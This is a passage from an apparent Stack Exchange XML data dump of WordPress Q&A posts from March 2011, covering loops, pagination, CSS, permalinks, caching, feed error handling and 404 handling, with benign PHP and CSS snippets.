HEADER_IMAGE_HEIGHT; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-26T13:33:55.233" CommentCount="2" />
  <row Id="13140" PostTypeId="2" ParentId="13129" CreationDate="2011-03-26T13:36:22.907" Score="0" ViewCount="" Body="&lt;p&gt;It looks like your 'orderby' parameter is completely ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting &lt;code&gt;'suppress_filters' =&amp;gt; true&lt;/code&gt; to make sure there's no interference.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-26T13:36:22.907" CommentCount="5" />
  <row Id="13141" PostTypeId="2" ParentId="10302" CreationDate="2011-03-26T13:48:37.077" Score="1" ViewCount="" Body="&lt;p&gt;Do you have a &lt;code&gt;object-cache.php&lt;/code&gt; in your wp-content directory? If so, rename it.&lt;br&gt;&#xA;But first make sure the upgrade replaced all new files. Upgrade per FTP and watch out for failed transfers.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T13:48:37.077" />
  <row Id="13142" PostTypeId="2" ParentId="13136" CreationDate="2011-03-26T13:48:50.050" Score="0" ViewCount="" Body="&lt;p&gt;How are you loading this template? Is it being included &lt;em&gt;within&lt;/em&gt; another template file that already calls get_header() and get_footer(), or is your AJAX call creating a new window (i.e. a new document)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: why are you putting your content inside of a Loop? For one, you never output the_content() or the_excerpt(); for another thing, I assume that, for a Sitemap, you don't &lt;em&gt;intend&lt;/em&gt; to add any Page content, but rather merely assign the template to a given Page?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-26T13:48:50.050" CommentCount="1" />
  <row Id="13143" PostTypeId="1" CreationDate="2011-03-26T13:54:20.127" Score="0" ViewCount="71" Body="&lt;p&gt;The first loop retrieves the most voted reply (&lt;code&gt;bbp_reply&lt;/code&gt; custom post type):   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'pagination', 'bbp_replies' ); ?&amp;gt;&#xA;   &amp;lt;?php /* first loop */ query_posts('gdsr_sort=thumbs&amp;amp;post_type=bbp_reply&amp;amp;posts_per_page=1'); ?&amp;gt;&#xA;    &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php  the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second loop retrieves all other replies in DESC order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* second loop */ while ( bbp_replies() ) : bbp_the_reply(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;topic-entry&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;topic-author&quot;&amp;gt;&#xA;        &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'avatar' ) ); ?&amp;gt;&#xA;        &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'name' ) ); ?&amp;gt;&#xA;        &amp;lt;?php printf( __( '%1$s', 'bbpress' ), get_the_date() ); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;topic-content&quot;&amp;gt;&#xA;        &amp;lt;?php bbp_reply_content(); ?&amp;gt;&#xA;        &amp;lt;span class=&quot;like-counter&quot;&amp;gt;&amp;lt;?php DisplayVotes(get_the_ID()); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php bbp_reply_admin_links(); ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I don't want to show the most voted reply if this one is already present in the first paginated page (second loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the most voted reply will only be shown in the first paginated page (first loop) if it is present in a paginated page other than the first one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want the same reply to be shown in the same page twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How that if statement would look like?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-26T14:00:10.093" LastActivityDate="2011-03-26T14:00:10.093" Title="Don't show a post if this one is already present in the first paginated page?" Tags="&lt;loop&gt;&lt;pagination&gt;" />
  <row Id="13144" PostTypeId="1" AcceptedAnswerId="13160" CreationDate="2011-03-26T13:55:28.553" Score="0" ViewCount="175" Body="&lt;p&gt;I have a site with about 900 pages that I was using custom permalinks &lt;code&gt;/%year%/%monthnum%/%postname%/&lt;/code&gt; for. I have a custom nav menu with tons of items in it. This combination seems to be simply too much for the server and they keep suspending my account for CPU usage. (I'm pretty sure this is what's causing the problem; I've already ruled out plugin issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've decided to change the permalink structure back to default, but it doesn't automatically change the nav menu. So I'm looking at hours of extra work rebuilding the menu after the permalink change. (I originally attempted to make the fix with sql queries, but I can't figure out the nav_menus are put together by WP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a fix for this, a plugin that does it, or a method to do it quickly, or any help at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is &lt;a href=&quot;http://cumberlandmaine.com&quot; rel=&quot;nofollow&quot;&gt;http://cumberlandmaine.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2011-03-26T16:57:58.120" Title="Changing permalinks back to default ( ?p=123 )" Tags="&lt;permalinks&gt;&lt;database&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="13145" PostTypeId="2" ParentId="13130" CreationDate="2011-03-26T13:55:48.223" Score="0" ViewCount="" Body="&lt;p&gt;Are you using CSS3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul#navmenuid:first-child {&#xA;     border-left: 1px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could use (any LI that immediately follows an LI):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul#navmenuid li {&#xA;     border-left: 1px;&#xA;     border-right: 1px;&#xA;}&#xA;ul#navmenuid li + li {&#xA;     border-left: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could use (any LI that follow an LI, even if not immediately):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul#navmenuid li {&#xA;     border-left: 1px;&#xA;     border-right: 1px;&#xA;}&#xA;ul#navmenuid li ~ li {&#xA;     border-left: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lots of options via CSS, really...&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-26T14:09:49.917" LastActivityDate="2011-03-26T14:09:49.917" CommentCount="3" />
  <row Id="13146" PostTypeId="2" ParentId="13113" CreationDate="2011-03-26T14:07:56.813" Score="0" ViewCount="" Body="&lt;p&gt;You should never have to touch the mod_rewrite rules. WordPress flushes/rewrites them to .htaccess whenever you save settings on Dashboard -&gt; Settings -&gt; Permalinks. If that's not happening, then something is wrong, either with your file permissions, or your local server setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it is strongly advised NOT to use %postname% alone as your permalink structure. You will encounter performance issues the larger your site gets, with respect to number of Posts and Pages.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-26T14:07:56.813" />
  <row Id="13147" PostTypeId="2" ParentId="9987" CreationDate="2011-03-26T14:11:49.917" Score="1" ViewCount="" Body="&lt;p&gt;How many calls to query_posts() are you making? If you're making more than one, then you need to replace one of them with a call to WP_Query, or get_posts() - and you need to call wp_reset_query() between the Loops.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-26T14:11:49.917" />
  <row Id="13149" PostTypeId="2" ParentId="4153" CreationDate="2011-03-26T15:13:05.757" Score="0" ViewCount="" Body="&lt;p&gt;Let's say that we had our own video on AmazonS3 with our own player on our wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or a way to add metadata descriptions for these values either manually or semi-automated?   &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Below is your sample from above...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;/h2&gt;&#xA;" OwnerUserId="4235" LastActivityDate="2011-03-26T15:13:05.757" CommentCount="1" />
  <row Id="13150" PostTypeId="2" ParentId="10297" CreationDate="2011-03-26T15:26:55.510" Score="0" ViewCount="" Body="&lt;p&gt;Can't you just target .current-menu-item along with .current_page_item?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-26T15:26:55.510" />
  <row Id="13151" PostTypeId="2" ParentId="13136" CreationDate="2011-03-26T15:38:28.853" Score="0" ViewCount="" Body="&lt;p&gt;Search all your theme and plugin files for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disable all plugins and re-enable them step by step. This document type declaration is not part of WordPress’ core files; there is a filter active somewhere.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Try to remove all filters from the affected functions. Start with wp_list_pages():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_all_filters( 'wp_list_pages_excludes', 99 );&#xA;remove_all_filters( 'wp_list_pages', 99 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still don’t believe that the doctype is nowhere to be found. That is impossible.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-26T16:20:29.177" LastActivityDate="2011-03-26T16:20:29.177" CommentCount="4" />
  <row Id="13152" PostTypeId="1" AcceptedAnswerId="20920" CreationDate="2011-03-26T15:40:34.533" Score="3" ViewCount="217" Body="&lt;p&gt;I've been pounding my head on the pavement for some time now regarding implementing the_editor functionality outside the post/page/cpt editor and retaining the look and feel of the function without having to rewrite a ton of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems I've run into are all problems within WP Core. the_editor and it's surrounding JS scripts that pull in TinyMCE, handle the Visual / HTML tabs, and Media Bar are not meant to be used more than once. Furthermore, the_editor is not self-contained, meaning you've gotta load a number of styles and scripts in the header / footer to enable functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, has anyone seen or built a self-contained editor function that standardizes the_editor-like implementation for use by plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hired a developer to put their spin on the script and they ended up needing a new set of PHP functions and replicating many WP Core JS functions. This seemed to me tricky, especially for upgrades. For instance, 3.0 to 3.1 nuked the TinyMCE link button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doomed here or is there someone out there who feels my pain?&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2011-06-24T08:40:10.130" Title="Replicating the_editor (Media Bar, TinyMCE, Visual/HTML Tabs) functionality without a huge rewrite" Tags="&lt;tinymce&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13153" PostTypeId="1" AcceptedAnswerId="13157" CreationDate="2011-03-26T15:44:18.647" Score="0" ViewCount="89" Body="&lt;p&gt;I'm making a WordPress site using the Thesis framework. It has a widgetized footer area. I expect to be changing all the font styles frequently and don't want to have to change them in a few places every time to make the footer widget styles match the body styles. Does anyone know how I can make the footers styles (h3, text, li, a href) be automatically inherited from what I've set for the body styles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3271" LastActivityDate="2011-03-26T16:29:44.053" Title="How to make widgetized footer styles be inherited from body?" Tags="&lt;css&gt;&lt;styles&gt;" AnswerCount="1" />
  <row Id="13154" PostTypeId="1" CreationDate="2011-03-26T15:50:46.970" Score="0" ViewCount="316" Body="&lt;p&gt;in nextgen gallery when i create a gallery i also select the option to generate the relative sub-page with its shortcode [ nggallery id=x ], all goes in automatic. This code is a default to show the nexgen gallery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when i generate a gallery sub-page with the process mentioned i want the shortcode to be: [ nggallery id=x template=carousel images=15]. This to replace the gallery with the carousel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thnks you in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="4236" LastActivityDate="2011-03-26T15:50:46.970" Title="NEXTGEN GALLERY: how to change the default gallery shortcode in the sub-page creation?" Tags="&lt;shortcode&gt;&lt;plugin-nextgen-gallery&gt;" />
  <row Id="13155" PostTypeId="1" CreationDate="2011-03-26T16:16:55.957" Score="1" ViewCount="96" Body="&lt;p&gt;This might be really simple, but I'm pretty hopeless when it comes to rss and WP. Where should I put the &lt;code&gt;if ( is_wp_error( $feed ) ) {&lt;/code&gt; in a code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;                    $rss = fetch_feed('' . $instance[&quot;feed_address&quot;] . '');&#xA;                    $maxitems = $rss-&amp;gt;get_item_quantity($instance[&quot;feed_count&quot;]); &#xA;                    $rss_items = $rss-&amp;gt;get_items(0, $maxitems); &#xA;                    $title = substr($item['title'],0,55).&quot; ... &quot;;&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php if ($maxitems == 0) echo ''; else foreach ( $rss_items as $item ) : ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;a class=&quot;description&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;get_permalink(); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;?php echo substr($item-&amp;gt;get_title(), 0, 49) . ' ...'; ?&amp;gt; &amp;lt;span class=&quot;tip&quot;&amp;gt;&amp;lt;?php echo strip_tags(substr($item-&amp;gt;get_description(), 0, 215)) . ' ...'; ?&amp;gt; &amp;lt;?php echo ''.$item-&amp;gt;get_date('j F Y | g:i a'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the above code in a custom php page, not within core files. Does that make a difference? Anyhow, I managed to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;                        $rss = fetch_feed('' . $instance[&quot;feed_address&quot;] . '');&#xA;if ( !is_wp_error( $rss ) ) :&#xA;                        $maxitems = $rss-&amp;gt;get_item_quantity($instance[&quot;feed_count&quot;]); &#xA;                        $rss_items = $rss-&amp;gt;get_items(0, $maxitems); &#xA;                        $title = substr($item['title'],0,55).&quot; ... &quot;;&#xA;endif;&#xA;                    ?&amp;gt;&#xA;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;?php if ($maxitems == 0) echo ''; else foreach ( $rss_items as $item ) : ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;h2&amp;gt;&amp;lt;a class=&quot;description&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;get_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo 'Posted '.$item-&amp;gt;get_date('j F Y | g:i a'); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;?php echo substr($item-&amp;gt;get_title(), 0, 49) . ' ...'; ?&amp;gt; &amp;lt;span class=&quot;tip&quot;&amp;gt;&amp;lt;?php echo strip_tags(substr($item-&amp;gt;get_description(), 0, 215)) . ' ...'; ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;?php endforeach; ?&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The point being &lt;code&gt;if ( !is_wp_error( $rss ) ) :&lt;/code&gt;, atleast it loads the feeds and everything seems to be working, but is this ok? The error may or may not appear from time to time, so testing is a bit hard. But before, when the error stroke, the feed stopped the loading that instant and did not load the other feed (I have two) after that either. With the code I posted above, will it skip the feed receiving the error and load the other one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much, without the code above, the error occurs as expected, but with it, the feed is just left empty and the next one is loaded like usual. You rock!&lt;/p&gt;&#xA;" OwnerUserId="4237" LastEditorUserId="3232" LastEditorDisplayName="" LastEditDate="2011-03-27T11:58:24.323" LastActivityDate="2011-03-27T11:58:24.323" Title="placement of wp_error with fetch_feed" Tags="&lt;rss&gt;&lt;feed&gt;&lt;fetch-feed&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13156" PostTypeId="1" CreationDate="2011-03-26T16:21:10.020" Score="0" ViewCount="313" Body="&lt;p&gt;Newbee for Blogging Platform&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an account with Wordpress and Tumblr ..! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Wordpress, i can tag features which i believe more important for blogging sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In tumblr, all my blogs are located on same page .. i have to eventually scroll down .. and i dont see any tags ..!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any expert can explain me about Difference or Merits of Wordpress or Tumblr .. i would be able to decide and go forward ..!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3490" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-26T16:22:39.160" LastActivityDate="2011-03-26T16:36:54.390" Title="Difference between Wordpress and Tumblr?" Tags="&lt;wordpress.com&gt;&lt;tumblr&gt;" AnswerCount="1" />
  <row Id="13157" PostTypeId="2" ParentId="13153" CreationDate="2011-03-26T16:29:44.053" Score="0" ViewCount="" Body="&lt;p&gt;The footer is a child of the body element. It &lt;strong&gt;does&lt;/strong&gt; already inherit all the styles. Find and remove all the styles which are ruling out the inherited styles.&lt;br&gt;&#xA;Tools like &lt;a href=&quot;https://addons.mozilla.org/de/firefox/addon/firebug/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; or &lt;a href=&quot;http://www.opera.com/dragonfly/&quot; rel=&quot;nofollow&quot;&gt;Dragonfly&lt;/a&gt; will help you to find these rules.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T16:29:44.053" CommentCount="2" />
  <row Id="13158" PostTypeId="2" ParentId="13156" CreationDate="2011-03-26T16:36:54.390" Score="1" ViewCount="" Body="&lt;p&gt;The very first difference, is that tumblr is basicly an extended micro-blogging site, wordpress is a full featured blog and website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, wordpress can be used as a portfolio page side-by-side with a blog and a news site and something else. Of course, you're  talking about wordpress.com, which has limitied capabilities compared to a standalon wordpress install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tumblr on the other side is an extended micro-blogging site, like Twitter, just you can add longer, lot longer postst, with pictures, videos, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For someone, who wants to create a blog (web-log, as web diary), both have the same possbilities, but if you want something, what can be extended, that's gonna be wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my opinion, of course.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-03-26T16:36:54.390" CommentCount="5" />
  <row Id="13159" PostTypeId="2" ParentId="13155" CreationDate="2011-03-26T16:36:59.927" Score="2" ViewCount="" Body="&lt;p&gt;Follow &lt;code&gt;$rss = fetch_feed('' . $instance[&quot;feed_address&quot;] . '');&lt;/code&gt;  and find the function in &lt;code&gt;wp-includes/feed.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Build SimplePie object based on RSS or Atom feed from URL.&#xA; *&#xA; * @since 2.8&#xA; *&#xA; * @param string $url URL to retrieve feed&#xA; * @return WP_Error|SimplePie WP_Error object on failure or SimplePie object on success&#xA; */&#xA;function fetch_feed($url) {&#xA;    require_once (ABSPATH . WPINC . '/class-feed.php');&#xA;&#xA;    $feed = new SimplePie();&#xA;    $feed-&amp;gt;set_feed_url($url);&#xA;    $feed-&amp;gt;set_cache_class('WP_Feed_Cache');&#xA;    $feed-&amp;gt;set_file_class('WP_SimplePie_File');&#xA;    $feed-&amp;gt;set_cache_duration(apply_filters('wp_feed_cache_transient_lifetime', 43200, $url));&#xA;    do_action_ref_array( 'wp_feed_options', array( &amp;amp;$feed, $url ) );&#xA;    $feed-&amp;gt;init();&#xA;    $feed-&amp;gt;handle_content_type();&#xA;&#xA;    if ( $feed-&amp;gt;error() )&#xA;        return new WP_Error('simplepie-error', $feed-&amp;gt;error());&#xA;&#xA;    return $feed;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;fetch_feed()&lt;/code&gt; may return a WP_Error object. So check it just below the call to this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rss = fetch_feed('' . $instance[&quot;feed_address&quot;] . '');&#xA;&#xA;if ( is_wp_error( $rss ) )&#xA;{&#xA;    // do something awesome&#xA;}&#xA;else&#xA;{&#xA;    // print your feed items&#xA;    // $maxitems = …&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T16:36:59.927" />
  <row Id="13160" PostTypeId="2" ParentId="13144" CreationDate="2011-03-26T16:50:29.013" Score="1" ViewCount="" Body="&lt;p&gt;Changing the permalink structure back won't reduce your CPU usage that much. That stuff happens on the Apache side of things (using mod_rewrite), and it's pretty fast. It might help a bit, but it's a HUGE pain if you have nice, readable, search-engine friendly URLs at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the best ways to reduce CPU usage is to implement caching. If you're getting WordPress to serve static content instead of having the content fetched from the DB and processed every time, you're saving a lot of resources. The two most popular caching plugins are &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-super-cache/&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/w3-total-cache/&lt;/a&gt; right now. I personally use WP Super Cache, but there are good reasons to look at W3 Total Cache. Depending on the setup, one might end up being a lot better than the other for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &#xA;I looked at your site as well... It's being served &lt;strong&gt;very&lt;/strong&gt; slowly from your host. This might be because of a lot of plugins, or some less-then-optimal custom code -- but I think it might also be a good idea to look at what other hosting providers could offer you. I use &lt;a href=&quot;http://mediatemple.net/&quot; rel=&quot;nofollow&quot;&gt;MediaTemple&lt;/a&gt; and I love them. However, I also only host one WordPress site per shared hosting instance, and pass the hosting costs on to my clients. I find this to be a better option for something like WordPress which is pretty resource intensive on a site with even moderate traffic.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="2984" LastEditorDisplayName="" LastEditDate="2011-03-26T16:57:58.120" LastActivityDate="2011-03-26T16:57:58.120" CommentCount="3" />
  <row Id="13161" PostTypeId="1" CreationDate="2011-03-26T17:15:27.400" Score="0" ViewCount="158" Body="&lt;p&gt;How can you trigger a 404 when using custom query vars? I've got re-write rules written for a custom query var, but if you were to request a URL for the query var that should technically be a 404 it returns a normal WP page, but no content, because nothing technically exists for the URL.&lt;/p&gt;&#xA;" OwnerUserId="3736" LastActivityDate="2011-03-26T22:52:47.907" Title="How to trigger 404 for custom query var?" Tags="&lt;wp-query&gt;&lt;404-error&gt;&lt;rewrite-rules&gt;" AnswerCount="2" />
  <row Id="13162" PostTypeId="2" ParentId="13161" CreationDate="2011-03-26T17:29:31.833" Score="1" ViewCount="" Body="&lt;p&gt;Add a 404.php to your theme and look if it is called.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Sample 404.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype&amp;gt;&#xA;&amp;lt;title&amp;gt;404&amp;lt;/title&amp;gt;&#xA;&amp;lt;p&amp;gt;404 – Mwah!&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is more important: the real HTTP headers, here the status code. You can see it with your browsers developer tools under &lt;strong&gt;network&lt;/strong&gt;. Here is a screen shot for &lt;code&gt;http://wordpress.stackexchange.com/404&lt;/code&gt; in Opera Dragonfly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/23PFe.png&quot; alt=&quot;screen shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/23PFe.png&quot; rel=&quot;nofollow&quot;&gt;See full size image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still get a status code 200, look into the global variables &lt;code&gt;$wp&lt;/code&gt; and &lt;code&gt;$wp_query&lt;/code&gt;. They will tell you more details about the fetched resource. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T17:29:31.833" />
  <row Id="13163" PostTypeId="2" ParentId="13161" CreationDate="2011-03-26T17:56:59.860" Score="2" ViewCount="" Body="&lt;p&gt;There is a method specifically for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_parse_query( $wp_query ) {&#xA;    if ( $wp_query-&amp;gt;get( 'my_custom_var' ) &amp;gt; 42 )&#xA;        $wp_query-&amp;gt;set_404();&#xA;}&#xA;add_action( 'parse_query', 'my_parse_query' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should load the 404.php template in your theme, if you have it. Otherwise, it will fall back to index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it sends a 404 header, though.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-26T22:52:47.907" LastActivityDate="2011-03-26T22:52:47.907" CommentCount="3" />
  <row Id="13164" PostTypeId="2" ParentId="10296" CreationDate="2011-03-26T18:30:06.797" Score="2" ViewCount="" Body="&lt;p&gt;If I am not mistaken about the issue - that is controlled by &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#unfiltered_html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;unfiltered_html&lt;/code&gt;&lt;/a&gt; capability. Only available to Editor role and higher by default.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-26T18:30:06.797" CommentCount="1" />
  <row Id="13165" PostTypeId="2" ParentId="13135" CreationDate="2011-03-26T18:42:22.767" Score="1" ViewCount="" Body="&lt;p&gt;Technically your feeds are not empty, but contain no items. This probably means that query for those items fail for some reason, but (between theme and plugins) it is hard to guess why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generic approach to debugging this would start with disabling plugins, switching to default theme and &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;enabling &lt;code&gt;WP_DEBUG&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-27T00:49:09.787" LastActivityDate="2011-03-27T00:49:09.787" />
